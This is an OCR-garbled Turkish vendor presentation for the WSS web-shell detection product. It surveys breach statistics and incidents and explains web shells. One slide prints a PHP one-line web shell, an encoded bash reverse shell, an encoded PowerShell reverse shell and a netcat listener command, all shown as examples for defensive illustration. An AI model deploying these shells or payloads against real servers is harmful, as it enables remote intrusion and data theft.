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Neden WSS?
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https://www.youtube.com/watch?v=YteNJceNs3s&t=2s
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Verizon, 2022-2023 ylllarl arasinda tevyit
edilen guvenllk ihlallerinin sayisinda rekor
dlzeyde IKI KAT artlg olacaglm analiz ett

2024 Verizon Veri lhlali Inceleme Raporu (DBIR)




Web Korsanligi Artista

Kuruluslarin %50'si yilda 39'dan fazla
web uygulamasl saldirisina maruz kallyor

2023 Verizon Veri |hlali Inceleme Raporu (DBIR)




lhlallerden
etkilenen
varhklar

2024 Verizon DBIR




lhlallerde en
COK gorulen
varlik cesitleri

2024 Verizon DBIR
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Temel web
uygulamasi
saldirilari

2024 Verizon DBIR
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Initial access Breach escalation Results

Figure 40. Steps in Basic Web Application Attacks
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Kuresel APT41 Saldirilan

Genis kapsamli saldirilar @

7 yilda 14 Ulke : Fransa, Hindistan, Italya, Japonya,
Myanmar, Hollanda, Singapur, Guney Kore, GUuney
Afrika, Isvicre, Tayland, Turkiye, Ingiltere ve ABD

Gizli Varhlk @

2023'ten bu yana kurban aglarina sizildi ve uzun sureli,
yetkisiz erisim saglandi, hassas veriler Microsoft
OneDrive'a cikarildi

Web Kabuklarinin Rolu

Tomcat Apache Manager sunucusunda kaliciligi
korumak icin kullanilan ANTSWORD ve
BLUEBEAM web kabuklari

Sonu¢c @

Saldirilar devam ediyor ve motivasyonlar hala belirsiz

« https://cloud.google.com/blog/topics/threat-intelligence/apt4l-arisen-from-dust?hl=en
 https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf
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https://www.bleepingcomputer.com/news/security/winnti-hackers-split-cobalt-strike-into-154-pieces-to-evade-detection/

MOVEIt Transfer
Guvenlik Acigi

E B BRITISH AIRWAYS V“

sSource NOVA S(
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CLOP SQL Saldirisi @ ze lls Hatch

27 Mayis 2023 : ClOp fidye yazilimi grubu
Progress Moveit Transfer Yazilimindaki sifir gun

<t

SQL acigindan yararlanmaya baslad N NUANCE

'
P

LEMURLOOT @ PRUDENTIAL ™
Hassas verileri bazen sadece dakikalar icinde disari P&G . Landal

sizdirmak icin kullanilan human2.aspx dosyasi [ & reenPar
olarak gizlenmis ozel gelistirilmis web kabugu ()I( I( W ORPORATED @ Putn
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Web kabuklari ile derhal mucadele edilmell

« https://konbriefing.com/en-topics/cyber-attacks-moveit-victim-list.html

. https://cloud.google.com/blog/topics/threat-intelligence/zero-day-moveit-data-theft?hl=en



https://phoenix.security/movit-transfer-vuln/
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lvanti-baglantili CISA
thlali

Norvecg Saldirilari @

Nisan-Temmuz 2023: 12 Norvec¢ deviet bakanligi
gizli siber saldirilar tarafindan tehlikeye atildi

CISA Ihlali

Subat 2024 : Bilgisayar korsanlari ayni lvanti urunu
aclklari zerinden ABD Siber Guvenlik ve Altyapi!
Guvenligi Ajansi'ni (CISA) ihlal ettl

Neye Ulastilar?

Kisisel bilgilere ve GPS verilerine erisimi vardi,
sistem yapilandirmasini degistirebilirdi

Sonug

Bazi ihlaller aylarca bildirilmiyor ve tespit
edilmiyor

« https://therecord.media/ivanti-hack-began-in-april
. https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-060b
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Image Source: Cyber Scoop

BRANDON WALES



https://cyberscoop.com/ivanti-linked-breach-of-cisa-potentially-affected-more-than-100000-individuals/
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Kuzey Koreli fidye yazilimi
saldirilariyla suc¢laniyor

ABD Hastane Saldirilani @

Mayis 2021 : Kansas hastanesinin dosyalarini ve
sunucularini sifrelemek icin fidye yazilimi

kullandi; ~100.000 $ gasp etti

NASA Ihlali

Subat 2022 : NASA'nIn bilgisayar sistemine 3
aydan fazla bir sure erisim sagladi ve bu erisimi
korudu; 17 GB veri ¢ikardi

Daha Buyuk Bir Planin Parc¢asi

2017-2023 Kuzey Kore siber saldirilari, devletin
nUkleer silahlarini finanse etmek icin ~
3 milyar ABD dolari topladi

Sonuc ©

Izini bulmak son derece zor

 https://apnews.com/article/north-korea-hacker-military-intelligence-hospitals-b3153dc0ad16652a80a9263856d63444
 https://www.theguardian.com/world/2024/feb/08/cyber-attacks-by-north-korea-raked-in-3bn-to-build-nuclear-

weapons-u n—monitors—suspect



https://dims.apnews.com/dims4/default/a7c41f6/2147483647/strip/true/crop/1200x675+0+113/resize/1440x810!/quality/90/?url=https%3A%2F%2Fassets.apnews.com%2F%5B1%2F0%2C%2F%2038%2C%20-61%2C%2048%2C%2090%2C%2071%2C%20-89%2C%20104%2C%20113%2C%20-127%2C%20-55%2C%2035%2C%2067%2C%20-20%2C%20-118%2C%209%2C%2064%2C%20-52%2C%2034%2C%20-11%2C%20-96%2C%2079%2C%20-112%2C%20-78%2C%2033%2C%20116%2C%20-84%2C%20120%5D%2F4c7e39bc5e174df1a67e8b134259afe2

2024'te bir veri thlalinin karesel
ortalama maliyeti
4 ylilicinde %27'lik bir artis

IBM Veri Ihlalinin Maliyeti Raporu 2024
14




2024'te pbir Inlall tespit etmek ve kontrol
‘altina almak Icin ortalama sure

IBM Veri lhlalinin Maliyeti Raporu 2024

15




Sektore Gore
Veri Ihlalinin
VWETNEL

IBM Veri Ihlalinin Maliyeti
Raporu 2024
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Problemler



* Verl thlali

» Sistem/Veri erisim kaybl
* Fidye gaspl

e Tahrifat

>

Yukseltme

» Varlik olusturmak icin web sunucusuna yuklenen kotu amacli yazilim

« Ek kotu amacli yazilim (yuk) su amaclarla yuratulur:
o fidye yazilimi saldirisi gerceklestirmek
o verlsizdirmak
o hasat kimlik bilgileri
o yanlamasina hareket etmek
( o hesap erisimini yukseltme

» |Ik erisimi elde etmek icin kullanilan web sunucusu veya WAS gUvenlik aciklari
» Ornegdin SQL enjeksiyonu, calinan kimlik bilgileri, kimlik avi

18



Gizli Anahtar:
Web kabuklari

Mitre ATT&CK® T1505.003

Web'e yonelik uygulama guvenlik aciklari araciligiyla bir web sunucusuna
yuklenen kotu amaclh komut dosyalari (genellikle .asp, .php, .Jsp dosyalari),
kalici uzaktan erisime ve saldirilarin tirmanmasina olanak tanir

19



Shells

« Kabuk: isletim sistemini kullaniclya veya diger programlara acan program
« Komut satiri arayuzunu (CLI) veya grafik kullanicr arayuzunu (GUI) kullanma
» |sletim sisteminin etrafini saran “en dis katman”

James (aws) H2

fusr/local/bin % aws i1am create-user cli-auto-prompt
USer-name: juﬂESI

-=user-name [string]: The name of the user to create. Donanlm

Cekirdek

Shell

https://aws.amazon.com/ko/what-is/cli/



Web Kabuklari: Kabuk Benzeri Bir Arka Kapi

C99Shell v. 1.0 pre-release build #17 ¢

Software: Apache. PHP/5.2.17-0.ic-vip.0D

uname -a: Linux #1 SMP Wed Aug 3 07:36:31 CEST 2011 uB6_64

Safe-mode:
fhome/ frootf drwxr-xr-x
Free 199.68 GB of 920.01 GB (21.7%)

[Home] [Back] [Forward] [UPDIR] [Refresh] [Search] [Buffer] [Encoder] [Tools] [Proc.] [FTP
brute] [Sec.] [SQL] [PHP-code] [Self remove] [Logout]

Shell

L:‘f i ‘ (Y cixtor. com [t . .
Port: 31373 Using PERL Bind

Back connection:
HOST: 10.10.30.20 '‘orty 31373 Using PERL Connect

Click "Connect” only after open port for it. You should use NetCat®, run "nc -1 -n -v -p 31373"!

Datapipe:
T HOST: irc.dalnet.ru: 6667 Local port: 8081 Using PEREL Fun

. Mote: sources will be downloaded from remote server.

:: Command execute :: Web
m Sunucusu
Execute Execute
T LUy LT Donanimi

Enter:

Cekirdek
4

% 4 oy
'haghVWQDKa

https://www.hyyat.com/en/knowledgebase/hacking-tools-c99-shell/
https://github.com/cixtor/phpshellgen



Web Kabuklari Nasil Iceri Girer?

guvenligl ihlal edilmis
web sitesi/web

25
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Bir Web Saldirisinin Anatomisi

* Verl ihlali
» Sistem/Veri erisim kaybl

* Fidye gaspl
‘ e Tahrifat

web shells t Yukseltme
» Varlik olusturmak icin web sunucusuna yuklenen kotu amacli yazilim

« Ek kotu amacli yazilim (yuk) su amaclarla yuratuluar:

o fidye yazilimi saldirisi gerceklestirmek
o verlsizdirmak
o hasat kimlik bilgileri
o yanlamasina hareket etmek
( o hesap erisimini yukseltme

» |Ik erisimi elde etmek icin kullanilan web sunucusu veya WAS gUvenlik aciklari
» Ornegdin SQL enjeksiyonu, calinan kimlik bilgileri, kimlik avi

24



Vahsi Dogada Web Kabuklari

¢torm method="get"” name="shell"™>
¢1nput type="text" name="command” 1d="command” size="88" autofocus>

¢input type="submit™ value="Run">

¢/Torm>
¢pre><?php 1f(1sset($ GET|[ 'command’])) { system($% GET[ command’]); }?></pre>

rooti@hk:~/genRev_shell# python3 genRevershell.py
Full pay l ad for cmd to reverse Ehnll for Linux
echo YmFzaCAtaSA+J]i1AvZ/GV2L3RJcC8xOTIuMTYALJEuN18x AIDA ] vase64 -d|bash

rooti@hk:~/genRev_shell# python3 genRevershell.py lHL.lﬁb. 1. '

Full pay la d for cmd to reverse shell for Windows target is:

powershell.exe -EncodedCommand JABjAGwAaQBlAGAAdAAgADBATABOAGUAdwATAEBAYeBgAGUAYWBOACAAUWBSAHMADABL A
GOAL gBOAGUAJAAUAFMAbWBJAGSAZ(QBOAHMAL gBUAEMAUABDAGWAaQB 1 AGAAdAACAC cAMOQASADTAL gAxADY AOAAUADEAL gA2ACCAL
AAADT AMWABAC kAOWAKAHMADABy AGUAYQBtACAAPQAsACQAYWB sAGKAZQBuAHQAL gBHAGUAdABTAHQACcgB 1 AGEABQACACKAOWBDA
GIAeQBOAGUAWWBAAFBATABIAHKAJAB 1 AHMATAASACAAMAAUACAANgATADUAMWAT AHWATQB 7 ADAATQAT7 AHCAaABpAGWAZQACACEZA]
ABpACAAPQAgACQACWBOAHIAZQBhAGBAL gBSAGUAYQBKACEATABiAHKAAABLAHMAL AAgADAAL AASACQAYgB5SAHQAZOBZzACAATAB]A
GAA/WBOAGzAKQApACAAL QBuAGUATAAWACKAewA7 ACQAZABhAHQAYQASADBATAACAEAAZQBSACOATWB1AGOAZQBJAHQATAATAFQAE
QBwAGUATgBhAGOAZ QAgAFMAeQBzAHQAZ QBtACAAVAB1 AHsAdAAUAEEAUWBDAEKASQBFAGAAYWBvAGQAaQBUAGCcAKQAUAECAZQBOBL
FMAdAByAGKkAbgBnACgAJAB1 AHKADAB 1 AHMAL AAWACWATAAKAGKAKQAZACQACWB1AGAAZ AB1IAGEAYWBrACAAPQAgACeAaQBl1AHEAT
AAKAGOAYQBOAGEATAAYADAAT gAxACAAFAASAESAJOBOACOAUWBOAHTAaQBUAGCATAAPADSsATABZzAGUAbgBKkAGIAYQBjAGSAMgAg )
LAAPQAACQACWB1AGAAZ ABI AGEAYWBrACAAKWAgAC cCAUABTACAA JWAsACSATAACAHAADWBKACKAL gBOAGEAdABoACAAKWwAgAC cAP
gAgACcAOWAKAHMAZ QBuAGQAY gBSAHQAZ QAgADOAT AMCAFsADAB 1 AHgAdAAUAGUAbgB JAGBAZ ABpAGAAZWBdADoAOgBBAFMAQWE ] £
EkAKQAUAEcAZQBBAETAeQBRAGUACWACACQACWE 1 AGAAZAB1 AGEAYWBrADTAKQA7ACQACWBOAHTIAZQBhAGBAL gBXAHT AaQBOAGUAK
AALAHHALHEUAEHA?L1-AHHHLHA-HDAALAARAHMA;QEUA&QH?E:JAHQHLQHUAEHHLQEUHhcAdAEgALhABHHhAHHAdAEFHhUH?QEtﬁ
CAARgBsAHUACwBoACgAKQBSADsATAA=

GJ+MhF ~fgenRev_shell# I

https://github.com/HoangKien1020/WebShells/blob/main/README.md 25
https://www.igloo.co.kr/security-information/%EC%9B%BO%EC%89%98%EC%ID%84-%EC%IDW%B4HECHIAWAIBED%I5%IC-%EA%BI%BEHEAW%B2%A-

W%EDWBBCHABWEBWIFBACKHEBWEBWALIECHIE%B4-HEBWBIWEOWED%I9%94-%EBWBO%EF-%EBWBECHE0WECHIDWINWECHA0%E4%EBWIEXBS/



Mevcut Durum

Ara Bolge Dahili Ag
(DMZ)

Harici Ag

Ag Web

. . Uygulamasi Web Uretim DTA
Guvenlik  ps/IDs Guvenlik Sunucusu/WAS Sunucu  Sunuculari
Duvari Duvari (WAF)

N

S

« Harici isbirlikciler

7

7/

* SQL injection « Dahili calisanlar
« CSRF
« XSS

« FTP * Rule Match * Bulten tahtasl

o TELNET * DDoS « GOruntd duzenleyici

* NetBios « HTTP PUT Yontemi

« Uzaktan Dosya Ekleme (RFI)

Port 80



EMEA daki
tehdit
aktorleri

2024 Verizon Veri Ihlali
Inceleme Raporu

*RARARARRAN )
. 499,

tehdit aktorlerinin cogu dahili




WAF'lar Yeterli Degil

* Gizlenmis ve kodlanmis komut dosyalarinin zayif tespiti

» Paketlere dagitilan kotu amacli yazilimlarin zayif tespiti

» Darbogaz/hizmet kesintilerine yatkinlik

» |c tehdit aktorleri tarafindan atlatild

« AQ clihazlarinda onceden var olan enfeksiyonlar tarafindan atlandi

» Sifirinci gun guvenlik aciklari

* Yanlis yapilandirma




Web Sunucusu
Korumasi (WSS

Web tabanli kotu amacl yazilimlari ger¢cek zamanl
olarak tespit eden, karantinaya alan ve raporlayan
web sunucusu guvenlik guclendirici cozUmu

Buss

WEBSERVERSAFEGUARD

WEUN
IV

30
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Eksik Parca

Guvenli
Kodlama

Veri
Guavenligi
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Guclendirici Cozum

Web
Sistem Kotu
< Uvgulamasi )
Ag Ama?" Yama yg . / Guvenli Web Tabani Veri
Gil lik Jaiiida Guvenlik Kotu Amacli . .o
uvenii WAF Yazilim Yonetimi Acig| Kodlama __, Tespiti Guvenligi
Duvari Tespiti Tarayicisi

il

— N\

Z 2 O.Q T O, &

Acunetix®
Fortra Vulnerabillity

Imperva WAF® GFl LanGuard® Management®

F5 Gelismis WAF® Avast Patch Qualys Web

Sophos XG Management® Application Scanner®

Firewall® lvanti PatchLink® Tripwire IP360®

| | Thales Network Encyryptors®

Cisco Secure Firewall® CrowdStrike Falcon® Trellix Data Encryption Suite®
Fortinet Fortigate® Cisco Advanced Malware Senetas CypherNET®
Barracuda CloudGen Firewall® Protection®

F5 BIG-IP® Network Firewall®

Check Point CloudGuard
Check Point Quantum®

Spectral®
OpenText Fortify®

Ag

Sistem Uygulama



Sisteminizi Icten Disa Dogru
Koruyun

34



Cercek
zamanl
algllama

Tespit
edllen Kotu

Gizlenmis,
sifrelenmis

amacli . | KOtU amacli
yazilimlari O wss O yazilimlar

yonetme . WEBSERVERSAFEGUARD .' tesp It etme

MiNnimMumu
Kaynak Kullanimi 35




Temel Ozellikler

Son Teknoloji

Guvenilirlik Yonetim Kolaylasti Bulut Destegi
Algilama

=N gizli web Genis sistem WSS algilama sulut bilisim

kabuklarini ve kotl uyumlulugu, HA modellerini yonetin, sistemleri icin destek

amacli kodlari bile sunucu destegi ve ozellestirinve (WSS Bulut/Kurum
tespit edin ve Opt|m|ze ed||m|§ algllamalarla ||g||| |(;|)

yonetin kaynak verimliligi guncellemeleri alin




WSS Yapilandirmasi

WSS Yonetim Sunuculari

« HW/VM'de yUklU sunucu yazilimi

* WSS Aracilarint uzaktan yonetir ve kontrol eder

« Algilama gecmisini kaydeder

 Web kabugu modeli guncellemelerini aracilara dagitir

WSS Temsilciler

« Web sunucusuna/WAS'a yUuklenen program
« KOtU amacli yazilim tespitini gerceklestirir
e Unix, Linux, Windows NT |

®

DK 1.5+ destegi olmalidi

sletim Sistemi/S ile uyumlu

)

WSS Yonetici Programi
* Yonetici bilgisayarinda yuklUd program
« Sunlar icin ayarlari kontrol eder: web kabugu algilama,

uzaktan eylem, ortam ve raporlama
* YOnetim, istatistik ve raporlama ayarlarina erisim
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" Yapisi ve isleyisi

Harici
Baglantilar

1. Rapor 2. Web Kaynak 3. Web Kabugu 4. Kotu Amacli 5 Geri Alma
Analizi Eylemi URL Eylemi
WSS YOnetim |
Alma
(Raporlama/ -
E-posta uyarisi JSP Istisnalar
Eylemler) - .
| ’ Istisna Geri
Kaldirma

P gercek zamanli dosya

WSS Temsilcisi P
- \ YUkleme/degisiklik algilama

(Tespit)

isletim Sistemi
Cekirdegi

33



WSS Algilama Teknolojisi

 UMV'deki Ar-Ge Ekibi, algilama performansini artirmak icin 30.000'den fazla yukld Aracidan kotu

amacli yazilim verilerini ganun her saati toplar ve analiz eder

« Gelismis kalip uygulamasi ve istisna yonetimi hatah pozitifleri en aza indirir

i

Imzaya dayali web kabugdu desenleri

yayinlanan hash degerlerini periyodi

[

Verimli performans icin WSS, www.vi

« Desen algilama, web sunucusunun/WAS'In benzersiz ortamina uyacak sekilde 6zellestirilebilir

Bilinen web kabugu kaliplarini dosyalardakilerle karsilastirir

olusturma

rustotal.com adresinde

K olarak gunceller ve tespit eder

Gizlenmis ve sifrelenmis kodu incelemek icin 6zel SCR Ayristirici

ve Sifre Cozme Motorunu kullanir

39



Oncelik Tespittir

SCR PARSER

O &

[T 25
[
o o — D
sifreli komut o Hash Degeri
dosyasi I ' {——

DECODING _
ENGINE .
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WSS Islevleri ve Ayarlar

Web Kabuklari

Web Kabugu Algilama

Kotu Amach URL'ler

Siyah Liste

URL/URI YOonetimi

Dosya Degisikligi

Dosya Degisikligi
Onleme

Hak Yonetimi

Temsilcl Yonetimi

Guncelleme
Yonetiml

Ana Dizinin Otomatik
Algilanmasi

Bulut Destegi

Scale In/Out
Desteg|

GCecmis Yonetimi

Ag Guvenlik
Yonetimi

Docker/Konteyner
Destegi




Gizlhhk
valnizca yetkili taraflarin
erisebilecegi bilgiler

Kullantlabilirlik

ihtiyac¢ duyuldugunda
bilgiye erisilebilir

ISO/IEC 27001
Uyumlulugu

®
o
o
o
. -
[
[
®
o
o
[ )
[
([
@

° WEBSERVERSAFEGUARD
® .
®
o

®

o

Butunluk

bilgilerin dogru olmasi
ve yolsuzluktan
korunmasi

42



ISO/IEC 27001
Uyumliuluk

Gecerli Gereksinimler:

8.1 Operasyonel planlama ve control
8.3 Bilgl guvenligi risk tedavisl
9.1 Izleme, 6lcme, analiz ve dederlendirme

WSS

WEBSERVERSAFEGUARD

4.5



ISO/IEC 27001
Uyvumliuluk

Uygulanabilir Ek A Teknolojik Kontroller:

8.4 Kaynak koda erisim
8.6 Kapasite yonetimil
8.7 Kotu amacli yazilimlara karsi koruma
8.8 Teknik guvenlik aciklarinin yonetimi
8.12 Verisizintisint onleme
8.13 Bilgi yedekleme
8.15 Cunluk kaydi
8.16 Izleme faaliyetleri
8.23 \Web filtreleme
8.26 Uygulama guvenligi gereksinimleri

WSS

WEBSERVERSAFEGUARD
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GS (lyi Yazilim)
Seviye 1 Sertifikal

« Test Standartlari:
ISO/IEC 25023, 25051, 2504

« Sunlar icin test edildi :

o Islevsel uygunluk
o Performans verimliligi
o Uyumluluk
o Kullantlabilirlik
Guvenilirlik
Guvenlik
Bakim
Tasinabillirlik
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Kullanim
Ornekleri




umv

Hyundai Sermayesi ve

Hyundai Karti

Nisan 2011 Hack @

420.000 musterinin (~%24) kisisel bilgileri kimligi

belirsiz bir bilgisayar korsani tarafindan ihlal
edilerek (~2 ay) sizdirildi

Hasarlar ©

~100.000 USD dogrudan hacker'a kaptirildi
13.000 musterinin sifresi calindi

Haziran 2011 WSS Sirket ici @

Bu gune kadar yaklasik 120 Temsilcinin faaliyette

oldugu site lisansi satin alindi

13 Yil ve Devam Ediyor @

WSS On-Premise'l 13 yili askin suredir sorunsuz bir

sekilde calistiran sunucular
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Hackerlar Egitim
Grubu

2022 Hack @

Dosya yukleme guvenlik acigl nedeniyle
etkinlestirilen web kabugu saldirisinda musterilerin
kisisel bilgileri sizdirildi

Hasarlar

7.000 ABD Dolari ek ceza ile birlikte ~30.000 ABD
Dolari para cezasl 6dedi

2022 WSS Sirket I¢i Kurulum

2 yiIl sorunsuz
WSS Sirket Ici olaysiz calistiran sunucular
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Kanitlanmis Bir Performans Kaydi:

Temsilciler kuruldu ve Musteriler (sirketler, Alinan patentler ve
calisiyor devlet, vb.) sertifikalar




Yuzlerce Musteri

UMV Web Server Safeguard, on yili askin bir sGredir yuzlerce musterinin web
sunucusu i¢cin guavenli ve istikrarlil koruma saglamaktadir.

15+ years 15+

NongHyup Bank @ Prudential & TOYOTA
10+ 15+
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... Ve ¢ok daha fazlasi! .



WSS Cloud

Web tabanli kotu amaclh yazilimlari gercek zamanli olarak
algilayan, karantinaya alan ve raporlayan web sunucusu
guvenlik guclendirici cozUmu

Bulut (VM) ortamlari icin 6zel olarak tasarlandi



Tesekkurler

Bize Ulasin

UMV Inc. UMYV Yazilim

Seul, GUney Kore Istanbul, TUrkiye

O 202122662188
@ sales@umyvglobal.com

O +822448-3435
@ sales@umvglobal.com

www.umvglobal.com www.umvglobal.com




